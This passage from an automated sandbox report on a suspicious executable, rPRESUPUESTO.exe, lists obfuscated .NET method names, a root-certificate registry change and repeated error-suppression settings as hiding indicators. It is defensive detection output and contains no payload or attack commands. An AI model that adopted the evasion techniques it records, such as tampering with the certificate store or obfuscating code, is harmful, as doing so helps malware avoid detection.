Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, rMS3WvcctN5gsoIYYg.cs	High entropy of concatenated method names: 'fD827ngggY', 'DD82B3cVQZ', 'Lp2lqNSVFd', 'THIlkGEP5h', 't2F2aIPypX', 'wgo2Rb6yG6', 'aRo2CnF7Zw', 'Bp82jLna0g', 'pGL29waH5P', 'fA72O7uumC'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, jcxJwOgYMsNuWo6rDt.cs	High entropy of concatenated method names: 'w874r60JFP', 'EhP4vNPr6I', 'Jfw4iu0Aha', 'sCK4gdGvN4', 'eYJ4orhu6n', 'EJL4td4MwM', 'zbB42iprRT', 'yS64lYXdSW', 'eXQ4xGl3EE', 'FEC4LiqFaE'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, kMIXWOixU8twbSWtxx.cs	High entropy of concatenated method names: 'FUEpj5hc98', 'Pdnp9h3jT5', 'HYQpON6Pb0', 'c3CpIwqvD9', 'qmYpAdPls6', 'GelpcZy3sK', 'Y0rpVgHqBY', 'Yqpp7qno6P', 'mnvpDnBbkp', 'gKHpBmkixK'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Ays466Ye2OgS5tPSlk.cs	High entropy of concatenated method names: 'UmI8jD4es13CVk9kWCJ', 'g8JfXI4OovIFxvqN7DX', 'MqKyly7TfD', 'CPXyxPIsdo', 'AGpyLOup2E', 'PlVSsj4fyiHdeOSQnrT', 'y6kUTv4EZ0bm7gBVQwN'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, NZwxqDXBm7FlmwqLQl.cs	High entropy of concatenated method names: 'SWNkHMIXWO', 'rU8kNtwbSW', 'TYMkbsNuWo', 'urDkWtHnNi', 'GPKko4WFFj', 'btfktZgqUl', 'If4Uknt3EXGbCdPc05', 'LpM7y6pvYCRCX7TIDS', 'z71KoHr8C5kZiNNQmm', 'qRrkk768NW'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, sTe3F6fHuEKyNny7Lb.cs	High entropy of concatenated method names: 'L8EHJAGhxX', 'VjrH5PQ6B8', 'RQwHmyJ5SQ', 'a27HrQcZy5', 'l3OHwbyL49', 'aHkHva3jEA', 'Cu1HsUjETg', 'yEGHihThoL', 'A1GHg9NQqI', 'SFiH1EG3OT'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Ljd7rDCBt3UIxc8BUY.cs	High entropy of concatenated method names: 'P5eEiKjnhp', 'F5pEgh7Qes', 'bARESosOXZ', 'kEbEYnsw5Y', 'jwPEPsSQ0t', 'mv4EZM9Km2', 'STiEKTRlL1', 'AkiEU4XKZG', 'pcoEQKtcOS', 'RCmEa4hv8y'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, CHhd18p30b5FjJ912H.cs	High entropy of concatenated method names: 'Dispose', 'j5GkDvOn2u', 'ImG8Y3ZePm', 'Bullllp2VL', 'acykBvj2dR', 'v9wkzc0YZE', 'ProcessDialogKey', 'Fcr8qSVmU4', 'VMZ8krBmlK', 'ldn88h1J7H'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Vyvj2d7RF9wc0YZE1c.cs	High entropy of concatenated method names: 'zpZludnjXV', 'UdUlpS8247', 'W6Vl4HV2Wg', 'lJBlTexnAb', 'nSdlyqoh1J', 'yeVlH1sQsw', 'yjRlNEO0lj', 'Q6clh5w74c', 'wwMlbuAV6r', 'IAqlWlyyL2'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	High entropy of concatenated method names: 'bFqG3Bxpp6', 'yAGGuY70PU', 'nlNGpbAlrr', 'F3AG4IR8F1', 'RNTGTYo0nD', 'hxcGye63W4', 'wXIGHoZCg3', 'vReGNArNZa', 'FLYGh78DeE', 'EArGbxNRbA'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Atp1CPja1oRVV7weY4.cs	High entropy of concatenated method names: 'WZwoQhBlxl', 'oL7oRW3WCI', 'dBlojLiYHI', 'Cwho9gk8Qq', 'z5HoYmWkVu', 'yiJo0VWJCO', 'XVSoPE2ZDk', 'zUToZCfc53', 'UsDonLwqt3', 'OKHoKH6cnW'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Ek4TwYkqWlNK1TUGl6X.cs	High entropy of concatenated method names: 'esoxJTp71h', 'Gubx54Mx1e', 'G4XxmxmZyp', 'd3OxrK9mQu', 'SEaxwknDFj', 'k1Wxv6ICe5', 'c50xs7AND3', 'LuHxiLvJTY', 'pBDxgS0Zn4', 'Rrrx1XDUIG'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, YgVJrRKCxx1HS9qZcX.cs	High entropy of concatenated method names: 'D3GHu4qYg9', 'BZBH4Asg9u', 'glIHyechCm', 'miLyBNYn17', 'YVhyzfd1qT', 'iLNHqvHgoV', 'HnwHkGC7Na', 'sKIH87vdqT', 'JJDHGKTpkV', 'L1BHXpRKnF'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, JByv60Ip9yJbwQWgNM.cs	High entropy of concatenated method names: 'UCv2bh8dET', 'SMZ2WkXBHc', 'ToString', 'r3F2u1E950', 'xGB2pLwjce', 'e9T240BC4S', 'MOI2TrZXAE', 'Orm2ySqx1B', 'jBN2HH4x3M', 'tR62NNPoqu'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, vFj8tfSZgqUlYsQxMp.cs	High entropy of concatenated method names: 'y9Jy35RRa0', 'sy6ypiTSuA', 'ClhyTRlbPt', 'YvNyHymtc8', 'YYjyNe3OmX', 'BVYTABXb1X', 'L6bTcTtYhA', 'FIsTVBjUJb', 'jhrT7MD3SY', 'XUrTDEKKIR'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, ASVmU4DcMZrBmlKhdn.cs	High entropy of concatenated method names: 'qlHlSmAUJw', 'kQplY6rd28', 'Wp6l0fAp2x', 'vl0lPeWgKf', 'c9ZljWUKW5', 'N7NlZm7yiV', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, g9VT4R8NH23savAS8y.cs	High entropy of concatenated method names: 'CFOmpREXH', 'bG4rB6jxd', 'aHovDNemB', 'gj4svE4Tl', 's9QgTtGy4', 'oWw1gifUZ', 'ioxvO00wCF9lcA6DVg', 'ajlr4mBnZ769RSx0QF', 'D49jwEYpeYrfarkWnR', 'kNLlV1xQb'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, AjQT9mkG0ultOemfqx7.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JJTLjH8whY', 'aCnL9xAyiN', 'u0xLOSw2b8', 'KmBLIh5pcY', 'ls5LApRAqR', 'fn8LchAfKy', 'd4eLVmvLa8'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, dYxsZezjD2vd6yPHgC.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'UI3xEXPaLx', 'chPxoE7mpQ', 'n9XxtcsV6d', 'lctx2jJrAR', 'isbxl1oKcg', 'NwPxxJXMot', 'm6LxLK9j1p'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, jnNieI10C29r6YPK4W.cs	High entropy of concatenated method names: 'eHdTwuS5tA', 'boeTsV9I6h', 'Vmy40wruRa', 'ICi4Pe4v12', 'qrs4ZhUHZE', 'Mbk4n9y99p', 'lsj4Kwow1e', 'sbx4UbY56q', 'Qc94fwFVfi', 'Qih4Qv82R2'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, l1J7HFBZ1MgJlBwPK5.cs	High entropy of concatenated method names: 'do1xkYJ5ZO', 'YhaxGaoLyJ', 'RhXxXkFT5n', 'l7Kxu5gOvP', 'HGwxpekyZ9', 'lPVxTt5ep8', 'U5vxyTZ9cl', 'A4hlVHD1iO', 'hL9l7qNwUP', 'tPTlDHmnFm'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, rMS3WvcctN5gsoIYYg.cs	High entropy of concatenated method names: 'fD827ngggY', 'DD82B3cVQZ', 'Lp2lqNSVFd', 'THIlkGEP5h', 't2F2aIPypX', 'wgo2Rb6yG6', 'aRo2CnF7Zw', 'Bp82jLna0g', 'pGL29waH5P', 'fA72O7uumC'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, jcxJwOgYMsNuWo6rDt.cs	High entropy of concatenated method names: 'w874r60JFP', 'EhP4vNPr6I', 'Jfw4iu0Aha', 'sCK4gdGvN4', 'eYJ4orhu6n', 'EJL4td4MwM', 'zbB42iprRT', 'yS64lYXdSW', 'eXQ4xGl3EE', 'FEC4LiqFaE'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, kMIXWOixU8twbSWtxx.cs	High entropy of concatenated method names: 'FUEpj5hc98', 'Pdnp9h3jT5', 'HYQpON6Pb0', 'c3CpIwqvD9', 'qmYpAdPls6', 'GelpcZy3sK', 'Y0rpVgHqBY', 'Yqpp7qno6P', 'mnvpDnBbkp', 'gKHpBmkixK'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Ays466Ye2OgS5tPSlk.cs	High entropy of concatenated method names: 'UmI8jD4es13CVk9kWCJ', 'g8JfXI4OovIFxvqN7DX', 'MqKyly7TfD', 'CPXyxPIsdo', 'AGpyLOup2E', 'PlVSsj4fyiHdeOSQnrT', 'y6kUTv4EZ0bm7gBVQwN'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, NZwxqDXBm7FlmwqLQl.cs	High entropy of concatenated method names: 'SWNkHMIXWO', 'rU8kNtwbSW', 'TYMkbsNuWo', 'urDkWtHnNi', 'GPKko4WFFj', 'btfktZgqUl', 'If4Uknt3EXGbCdPc05', 'LpM7y6pvYCRCX7TIDS', 'z71KoHr8C5kZiNNQmm', 'qRrkk768NW'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, sTe3F6fHuEKyNny7Lb.cs	High entropy of concatenated method names: 'L8EHJAGhxX', 'VjrH5PQ6B8', 'RQwHmyJ5SQ', 'a27HrQcZy5', 'l3OHwbyL49', 'aHkHva3jEA', 'Cu1HsUjETg', 'yEGHihThoL', 'A1GHg9NQqI', 'SFiH1EG3OT'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Ljd7rDCBt3UIxc8BUY.cs	High entropy of concatenated method names: 'P5eEiKjnhp', 'F5pEgh7Qes', 'bARESosOXZ', 'kEbEYnsw5Y', 'jwPEPsSQ0t', 'mv4EZM9Km2', 'STiEKTRlL1', 'AkiEU4XKZG', 'pcoEQKtcOS', 'RCmEa4hv8y'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, CHhd18p30b5FjJ912H.cs	High entropy of concatenated method names: 'Dispose', 'j5GkDvOn2u', 'ImG8Y3ZePm', 'Bullllp2VL', 'acykBvj2dR', 'v9wkzc0YZE', 'ProcessDialogKey', 'Fcr8qSVmU4', 'VMZ8krBmlK', 'ldn88h1J7H'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Vyvj2d7RF9wc0YZE1c.cs	High entropy of concatenated method names: 'zpZludnjXV', 'UdUlpS8247', 'W6Vl4HV2Wg', 'lJBlTexnAb', 'nSdlyqoh1J', 'yeVlH1sQsw', 'yjRlNEO0lj', 'Q6clh5w74c', 'wwMlbuAV6r', 'IAqlWlyyL2'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	High entropy of concatenated method names: 'bFqG3Bxpp6', 'yAGGuY70PU', 'nlNGpbAlrr', 'F3AG4IR8F1', 'RNTGTYo0nD', 'hxcGye63W4', 'wXIGHoZCg3', 'vReGNArNZa', 'FLYGh78DeE', 'EArGbxNRbA'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Atp1CPja1oRVV7weY4.cs	High entropy of concatenated method names: 'WZwoQhBlxl', 'oL7oRW3WCI', 'dBlojLiYHI', 'Cwho9gk8Qq', 'z5HoYmWkVu', 'yiJo0VWJCO', 'XVSoPE2ZDk', 'zUToZCfc53', 'UsDonLwqt3', 'OKHoKH6cnW'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Ek4TwYkqWlNK1TUGl6X.cs	High entropy of concatenated method names: 'esoxJTp71h', 'Gubx54Mx1e', 'G4XxmxmZyp', 'd3OxrK9mQu', 'SEaxwknDFj', 'k1Wxv6ICe5', 'c50xs7AND3', 'LuHxiLvJTY', 'pBDxgS0Zn4', 'Rrrx1XDUIG'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, YgVJrRKCxx1HS9qZcX.cs	High entropy of concatenated method names: 'D3GHu4qYg9', 'BZBH4Asg9u', 'glIHyechCm', 'miLyBNYn17', 'YVhyzfd1qT', 'iLNHqvHgoV', 'HnwHkGC7Na', 'sKIH87vdqT', 'JJDHGKTpkV', 'L1BHXpRKnF'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, JByv60Ip9yJbwQWgNM.cs	High entropy of concatenated method names: 'UCv2bh8dET', 'SMZ2WkXBHc', 'ToString', 'r3F2u1E950', 'xGB2pLwjce', 'e9T240BC4S', 'MOI2TrZXAE', 'Orm2ySqx1B', 'jBN2HH4x3M', 'tR62NNPoqu'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, vFj8tfSZgqUlYsQxMp.cs	High entropy of concatenated method names: 'y9Jy35RRa0', 'sy6ypiTSuA', 'ClhyTRlbPt', 'YvNyHymtc8', 'YYjyNe3OmX', 'BVYTABXb1X', 'L6bTcTtYhA', 'FIsTVBjUJb', 'jhrT7MD3SY', 'XUrTDEKKIR'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, ASVmU4DcMZrBmlKhdn.cs	High entropy of concatenated method names: 'qlHlSmAUJw', 'kQplY6rd28', 'Wp6l0fAp2x', 'vl0lPeWgKf', 'c9ZljWUKW5', 'N7NlZm7yiV', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, g9VT4R8NH23savAS8y.cs	High entropy of concatenated method names: 'CFOmpREXH', 'bG4rB6jxd', 'aHovDNemB', 'gj4svE4Tl', 's9QgTtGy4', 'oWw1gifUZ', 'ioxvO00wCF9lcA6DVg', 'ajlr4mBnZ769RSx0QF', 'D49jwEYpeYrfarkWnR', 'kNLlV1xQb'
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, AjQT9mkG0ultOemfqx7.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JJTLjH8whY', 'aCnL9xAyiN', 'u0xLOSw2b8', 'KmBLIh5pcY', 'ls5LApRAqR', 'fn8LchAfKy', 'd4eLVmvLa8'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4 Blob

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
